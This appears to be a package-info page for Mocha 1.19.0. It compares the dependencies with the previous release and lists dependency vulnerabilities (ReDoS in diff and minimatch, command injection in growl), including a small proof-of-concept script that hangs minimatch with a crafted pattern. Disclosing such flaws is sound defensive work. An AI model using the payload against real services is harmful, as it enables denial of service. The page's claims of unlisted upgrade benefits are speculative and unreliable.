Mocha version 1.19.0 represents an incremental update to the popular JavaScript test framework, building upon the solid foundation established in version 1.18.2. Examining the metadata, the core dependencies remain consistent between the two releases, indicating a focus on refinement rather than radical restructuring. Developers will find that essential tools like diff for comparing expected and actual results, glob for file pattern matching, jade for templating, debug for logging, growl for notifications, mkdirp for directory creation, and commander for command-line argument parsing are unchanged. This stability ensures minimal disruption for existing projects upgrading to the newer version.
The key differentiator lies in the release date. Version 1.19.0 was published on May 18, 2014, about two months after version 1.18.2 (March 18, 2014). This time gap typically signifies bug fixes, performance enhancements, or minor feature additions not substantial enough to warrant a major or minor version bump. While the specific changes aren't explicitly listed in the provided data, developers can anticipate improvements that enhance the overall testing experience. The devDependencies, including should for assertions and coffee-script for writing tests in CoffeeScript, also remain the same, suggesting a continued commitment to supporting existing testing paradigms. Upgrading from 1.18.2 to 1.19.0 is likely a low-risk endeavor, offering potential benefits in terms of stability and performance without requiring significant code modifications.
All the vulnerabilities related to the version 1.19.0 of the package
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.